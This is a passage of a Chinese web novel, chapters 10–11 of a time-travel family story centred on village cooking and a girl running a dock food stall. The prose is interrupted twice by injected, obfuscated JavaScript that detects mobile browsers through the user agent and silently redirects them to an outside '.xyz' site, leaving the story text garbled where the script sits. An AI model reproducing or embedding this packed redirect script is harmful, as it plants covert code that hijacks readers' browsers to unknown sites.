冬季的白菜经过霜冻，口感脆甜，尤其是白菜梗，咬一口，水汪汪，甜津津。 林青叶爱吃清甜的白菜梗，林芫花偏爱白菜叶，吸收了猪油香的白菜叶子，水水的，无筋无渣，她可太爱了。 10. 酸萝卜鸡杂 外祖母忙完接生，提前被人用牛车送回陆家村。 在岳母的见证下，陆英夫妻俩掏出欠条，她们这次陆家村，一来为了探望陆老夫人，二来是为了这张欠条。 听说是将田产抵押给她们的欠条，兄嫂百般推辞，作为一家之主的岳母陆佩兰说话做事果敢，让兄嫂收下了。 有母亲拍板，陆贯仲和宋梅作为儿子儿媳，自是听母亲的。 让宋梅更意外的是，这张欠条，竟然是外甥女亲手写下，母亲看过，说是自己如鸡爪狗爬，好在没错别字。 家里除了母亲，只有丈夫陆贯仲认得几个大字，宋梅目不识丁，听了母亲的话，在看欠条上的字迹，越看越像鸡爪。 陆佩兰与陆英母女俩回屋说了会子话，时辰不早，一家四口吃过晚饭，往家赶。 回家的路上，林芫花再次问：“发生车祸时，你们真的什么都没听见？” 陆英好奇：“你听见什么了？” 林芫花没说话。 在原主记忆里，发现外祖母跟自己的外祖母长得不一样，等真正亲眼见到了才罢休，不然她都要怀疑外祖母是不是也穿越了？ 摸黑赶回王家村，到家时，天色黑沉沉。 姐弟俩去厨房烧热水洗澡，陆英与林书润将背篓里的蔬菜取出，锁到柜子里。 这些泡萝卜咸菜，还有大白菜，都是兄嫂给的，还有阿娘帮人接生，给了喜钱，还有一副猪下水。 猪下水处理复杂，挺费功夫，陆英要了块猪肝，别的没要。 累了一天，擦洗一遍，泡个热水脚，一家人挨着枕头，立马睡过去。 一觉睡得踏实，林芫花差点睡过头，被敲门声吵醒，哼哼唧唧在床榻里滚了一圈，摸着棉袄往身上套，磨磨蹭蹭。 棉袄一上身，冷得她面容扭曲：“寒冷的冬天，就应该窝在被子里睡大觉，玩手机。” 呜呜，她好想念温暖的空调房，想念加绒睡衣，想念手机。 不过林芫花相信熬过寒冬阴霾，解决掉生存困境，努力奋斗，以后一定能过上冬天窝被子里睡大觉的美好生活。 为了梦想的美好日子，她跟打了鸡血一样，快速穿好棉袄棉裤，推开西厢房门，老爸已经备好了洗漱的温水。 洗了把脸，有了精神头，吃过早饭，步行前往码头。 杨大力用背篓背来鱼杂，额外单独塞给她一包鸡杂。 打量杨大力欲言又止的模样，林芫花开口询问：“杨叔有什么事吗？” 杨大力搓了搓手：“是这样的，我有个侄女儿家专杀活鸡的，听说你厨艺不错，想跟着你学点本事，给你打杂什么都使得，听凭你使唤。因为年岁太小，外头的小饭馆不收，你看……” 林芫花听出了话音，可能不仅仅是来学，不过无所谓，本来打算做到年底，等过完年，自己想法子摆摊做点小买卖，当即点头：“就算杨叔不提，我也要跟你说的，我打算做到今年年底，让杨叔尽快找个人接替我，有妹妹要来，太好了，到时候我教会她，让她帮杨叔的忙。” 杨大力红着脸：“你要走啊，其实你不用走，我想着让你们两班倒，你做上午，我侄女儿做下午的生意，反正码头一天都有工人。” 林芫花和和气气：“是这样，我家情况杨叔也知道，给人做工，每月挣来的银钱仅够温饱，我想攒点钱，自己做点小买卖。” 杨大力看小姑娘很有志向，没继续挽留：“行，以后你买卖做的不好，还可以再来找叔，叔这里永远有你一口饭吃。” 意识到自己说的话不对，立即找补：“不是，叔不是咒你的意思。” 林芫花不在意说：“我知道的，先谢谢杨叔了。” 事情这么说定，做完今日的活计，她带着鸡杂回家。 步行回家，路上大日头晒得口干舌燥，林芫花把鸡杂放到清水里浸泡，到堂屋的茶壶里倒一杯凉白开。 冰水顺着喉咙流淌，胃里一阵透心凉。 王家村的村民为了省柴，一般不喝热水，只有家里来了客人，才会烧一碗热水。 她们一家四口没那么节俭，主要担心水里有寄生虫和细菌，为了省柴火钱，反而因小失大。 一般趁着做饭或是烧洗澡水，会多烧一锅开水，哪怕放凉了喝，起码卫生点，不生病，想要随时喝到温水热水，是一件非常奢侈的事情。 一杯凉白开下肚，冷得她打了个摆子。 时辰还早，去了村长家借阅书籍。 王有德来书房取物品时，看到自家孙女与林家闺女一同坐在向阳处看书，画面安静和谐。 孙女王依依是王家村里为数不多识字的人，在书本里开阔了眼界，很少有人能入她的眼。 听见王依依喊爷爷，林芫花也跟着唤了声村长爷爷。 王有德没打扰她们，拿到东西便离开。 快到午饭时间，她回家处理鸡杂，院子墙角边的小葱割了一茬，又冒出一茬，到厨房取来菜刀割一把。 鸡杂处理不好容易有腥味，如果调料齐全，加点花椒、泡椒、小米椒，炒出来酸辣开胃，香死了。 眼下条件简陋，只有葱姜和红酱，对了，还可以切点从舅舅舅母家拿来的泡酸萝卜，增添风味。 从陶罐里掏出半碗酸萝卜，拿刀从中劈开，在切一刀，当时老爸用竹篓背回家，真是废了老大劲。 鸡杂焯水后，口感容易老，不够脆嫩，林芫花喜欢生炒，给鸡杂浸泡清水，中途多换几次水，然后加草木灰搓洗，洗到清水干净没有杂质。 有条件的，可以用面粉或是食盐，这里的白面精细昂贵，比鸡杂价贵，如果拿来清洗鸡杂，要被人指着鼻梁骂败家。 处理好的鸡杂，用葱姜水腌制，起到去腥的目的。 热锅冷油，加入葱丝、红酱，爆出香气，然后添入泡酸萝卜翻炒，再是腌制好的鸡杂，大火爆炒，少许酱油增色，鸡胗变色后，撒上葱花，翻炒二三十秒，立即出锅。 陆英回家，看到饭桌上多了一碟鸡杂，嗅到空气里飘荡着萝卜发酵的酸香，本就饿了，被这股香气勾得分泌口水：“酸萝卜鸡杂，哪儿来的？” 林芫花端来两碗米饭：“杨叔给的，他有亲戚专门给人杀鸡，让我帮忙带一带他亲戚家的侄女，我跟杨叔说了，干到年底辞工，他也同意，正好找到接替我的人。” 陆英洗了把手，回到饭桌，一手端起饭碗，一手握住木筷夹来鸡杂，咬着脆嫩，表面吸附着泡萝卜的绵绵酸香，开胃又下饭：“很好吃，炒得火候正好，多一分容易老，不够脆。” 能在香料匮乏的情况下，烹饪出这么美味的鸡杂，十分难得了。 酸萝卜块刺激口腔分泌唾液，激发食欲，这一碟子酸萝卜鸡杂简直是下饭神器，母女俩就着菜，多吃了半碗米饭。 翌日一早，杨叔领来个十来岁出头的小姑娘，让她帮忙带一带。 小姑娘叫杨春杏，木讷地唤了她一声林姐姐。 林芫花观察对方的身量，比她还矮半个头，难怪外面的小饭馆不要，年岁小，没眼力劲儿，看着不会来事，干不来重活，招到铺子里多一张嘴吃饭，掌柜可不是大善人。 幸好小姑娘手脚勤快，她指着让干嘛干嘛，一点不废话，不会说话，但勤快老实，相处久了，看着讨喜。 有杨春杏的帮忙，清理鱼杂，清洗碗筷轻松多了。 一个上午过去，等杨大力返回码头时，看到两个小姑娘打破了生疏，凑在一起说着话，像雨后冒出的两朵小蘑菇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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花费一两日功夫，清理完麦田的野草，有麦苗遮挡住寒风，蒲公英与荠菜在麦田里长得嫩绿，择去老叶，就是一盘美味野菜。 正儿八经的野荠菜，在现代不多见，可以包猪肉荠菜水饺，或是鲜肉荠菜包，想一想就流口水。 林书润扫视自家贫瘠的麦田，瘦弱的麦苗，趁着空闲在家，得想法子搞点肥料。 按照古代生产条件，一般麦田亩产一百五十至两百五十斤，有些高产的，能达到三百斤，这是比较罕见的。 照他家麦田的情况，来年麦田亩产顶多不超过百斤，刨去缴纳税收，基本不剩什么了。 第一次来这块麦田，林书润与妻子畅想着来年磨麦子吃的美梦呢！ 回到家，林书润在发愁一连落了四五日的雨，没法去码头上工。 林芫花也在发愁。 天寒地冻，她没法洗头发，洗了头发，一时半会儿干不了，风寒入体，容易感冒。 她已经四天没洗头，头发油腻腻，学着原主拿篦子梳理发丝的灰尘和油脂，编个侧马尾，到箱子里翻找出一块头巾布，包在头上。 出了西厢，被林青叶嘲笑：“哈哈哈，林芫花，你看看你，跟个小村姑一样。” 林芫花反讥：“你个小村男。” “啊，疼疼疼，林芫花，别拧我耳朵！”林青叶吱哇大叫，活像被拧掉了耳朵，向一旁求救：“老爸，她欺负我。” “活该。”林书润路过，对姐弟俩的打闹见惯不怪。 11. 猪肉韭菜饺 “林姐姐，你这样打扮起来真好看。” 一早到码头上工，面对杨春杏的夸赞，林芫花没好意思说自己头发油，所以翻找出一块与棉袄同色的水红布包了头。 大块鱼籽仔细些，别弄散，过水清洗几遍即可，鱼泡数量少，比较费事，好在现在多了个帮厨，两人很快处理干净。 杨春杏不擅烹饪，会帮着家里煮点稀饭面条，或是帮忙烧火。 林芫花让小姑娘先在锅炉前帮忙烧火，了解火候，几日熟悉下来，杨春杏循序渐进的学会了许多东西。 今日教小姑娘给鱼杂焯水，香煎鱼杂，然后炒出酱料的色泽与香气…… 杨春杏舀鱼杂羹，林芫花负责吆喝，收铜板，两人分工明确，受寒潮影响，码头搬货的生意少了许多，工人数量锐减，小摊的生意差了许多。 林芫花上工时间是上午，剩下的鱼杂羹，由杨春杏和杨大力继续售卖，勉勉强强能卖完。 除了搬运工，撑船的船夫，或是货船船手、管家，偶尔也回来小摊光临，买上一碗鱼杂羹尝尝。 “几天不见，小厨娘也带了个小小厨娘。”严老三打趣说。 林芫花嘴巴甜，遇到年岁稍大的喊叔，年轻些的喊哥哥：“严叔，好久没来我家了，今天要来一碗鱼杂羹吗？” 小姑娘甜甜的嗓音，笑得跟朵迎春花似的，严老三本想到隔壁要碗猪下水汤，被小姑娘喊了声严叔，临时改了主意：“那就要一碗，给，三个铜板。” 收了铜板，林芫花扭头说：“春杏，给严叔要一碗鱼杂羹。” 杨春杏干巴巴：“您稍等，马上。” 杨春杏真的太羡慕林姐姐了，性格好，大方明媚，遇到老熟客都能跟人聊上几句，她就不行。 遇到陌生人，她跟锯了嘴的葫芦一样，又怕不小心说错话，得罪人，看到林姐姐应对自如，打从心眼里羡慕极了。 大伯说得对，她应该多跟林姐姐来往，学习林姐姐的为人处世。 缠绵了数日的阴雨，在今日终于停歇。 清晨，码头汇聚了大量工人，各个小吃摊上生意火爆，这厢林芫花和杨春杏忙得不可开交。 另一边，林书润父子俩在家里清闲好几日，每日往外掏钱，没有进项，眼看马上要进入年底，在家呆一天最少损失两百文收入，心里头没底，在家闲不住，给麦田浇了农家肥，又在院子后堆肥，为来年麦苗抽穗灌浆积累肥料。 终于盼到雨停，父子俩摩拳擦掌，渴望多多挣银钱…… 这头小吃摊顾客盈门，提前卖完鱼杂羹，林芫花和杨春杏准备告别，对方主动开口：“林姐姐，午饭后，我可以去王家村找你玩耍吗？” 下午林芫花无事，点头：“可以啊。” 在私塾听了一堂课，下课后，王茂从贴身兜里摸出一把铜板，臭显摆：“阿娘给了我铜钱，今日不回家吃饭了，你自己回王家村吧！” 林芫花瞧见王茂走到一家卖水饺的小摊，要了碗猪肉荠菜水饺。 话说回来，她家穿来这么久都没吃过面食。 突然有点馋水饺了。 私塾外，有好几家摆小吃摊的摊贩，多是附近村落求学的孩童们来光顾，有的离家较远，中午便不回家，在小摊要碗水饺，或是包子肉饼。 在大多数人吃不饱饭的朝代，但凡能送孩子求学的人家，多少有点家底，舍得对孩子投资。 林芫花想自己摆小吃摊，第一选择是私塾。 去城里市集摆摊，需要缴纳一定税收，还要缴纳摊位费，她太穷了，私塾外并非严格管理的市集，不需要缴纳费用，人流量也少，如果能在私塾外立足，等攒到银钱，可以考虑搬到更正规的市集。 今日仍是阴云笼罩，河水表面凝结一层薄冰。 林芫花实在受不了油头，感觉油到能炒盘菜，放纵自己洗了个头，借着炒菜的功夫，在灶台前烤火。 午后，杨春杏来王家村找她，一路上问了几户人家，找到林家，正好撞见陆英，按照爹娘交代的话，一板一眼：“婶婶，这是我阿娘带来家里种的柿子，不值什么钱，一点心意。” “客气了，这年头大家日子都不好过，下次来家里就好，不要带东西了。”陆英笑着接过，让女儿好好招待朋友，她赶着去成衣铺子上工。 一踏进林家小院，杨春杏发现林姐姐家里看着破旧，收拾得干净整洁，她被泥巴地上的字迹吸引：“林姐姐，这是什么字？” 林芫花顺着杨春杏的目光，落到一行字上：“这个字念喻，出自《出师表》里，引喻失義，以塞忠谏之路也。” 杨春杏听不懂，觉得林姐姐真厉害，星星眼地看来。 林芫花跟她说一声，回房打理晾干的长发，留杨春杏呆在院子，捡起脚边的木棍，葫芦画瓢的跟着临摹。 等林芫花编好侧马尾出西厢时，杨春杏已经临摹了好几个喻字，有点不好意思：“林姐姐，我可以跟着你学认字吗？” 林芫花喜欢上进的女孩子，当即点头：“好啊。” 杨春杏又道：“那我明天还给你带鸡杂。” 上回炒了酸萝卜鸡杂，新鲜美味，贼下饭，一家人都爱吃，林芫花没拒绝：“好啊，先谢谢你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458074|169609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 杨春杏：“是我要谢谢林姐姐，我嘴笨，不会说话，还好姐姐不嫌弃。” 进入大雪后，迎来冬至。 这晚饭桌上，一家人一致举手想吃猪肉水饺。 傍晚，林书润父子提前回家，特意到猪肉摊买来一块前腿肉。 两分肥，八分瘦的前腿肉，剁成猪肉馅，添了碧绿韭菜，酱油，食盐，小许葱花，调好馅料，老爸林书润也擀好饺子皮，一家人围在灶台前包饺子。 林书润与林芫花包的飞快，严实不漏缝，陆英与林青叶包的饺子造型奇特，丑得各有形态。 锅中清水煮至沸腾，抓来一只只饺子放进锅里，小半碗清水倒在沸腾的清水，可以防止饺子皮煮破。 待一颗颗白白胖胖的饺子浮出水面，这是饺子熟了的讯号。 往面汤放一小撮盐巴调味，捞出饺子，盛来面汤，便大功告成。 林青叶来来回回端饺子，等所有人坐下，迫不及待抓起筷子，往嘴里塞来一颗水饺，烫得龇牙咧嘴：“烫烫烫，哇，好鲜，好多肉汤汁。” “心急吃不了热豆腐，猴急什么。”林书润嘴上念叨心急的儿子，眼睛一错不错盯着面前的水饺。 陆英夹起一只水饺，吹走热气：“咱家好久没吃过水饺，话说回来，这一斤白面真是贵，比米粮贵了一半。” 轻轻咬开薄薄的饺子皮，立时淌出的油汤汁，鲜得她眉尾一扬，嘬完汤汁，吃掉饺子的精华肉馅，在肥肉油脂的滋润下，猪肉馅丰腴不柴，爽滑的饺子皮，咀嚼时能吃到属于面粉的麦子香：“果然贵有贵的道理，应该是刚磨出来的面粉，很新鲜，麦子香很浓。” 林书润尝了一只，肉馅油香四溢，端起碗，浅啜一口面汤，面粉富含蛋白质，融入清水，能给味蕾带来鲜味，一点点盐巴，这碗饺子面汤就很鲜了。 尽管饺子汤热量高，架不住它美味啊，浓浓的麦子香，林书润在码头干体力活，这点热量，不值一提。 他咬开饺子皮，咸鲜的肉汤汁唤醒了味蕾，女儿林芫花喜欢将肉馅剁得粗粝些，吃起来肉感足，韭菜碎为猪肉去腥增香，猪肉的油脂同时给韭菜带来油润口感，相互作用下，为彼此增添风味。 林芫花嘴巴里包着猪肉韭菜饺，心头无比满足。 韭菜和猪肉实在太配了！ 前几日看到王茂买水饺吃，给她看得眼馋，终于吃到心心念念的水饺。 自家地里长的韭菜和小葱，买来的土猪肉，食材新鲜，现擀现包的水饺，果然嘎嘎美味。 下次或许可以试试韭菜鸡蛋，或是虾仁水饺？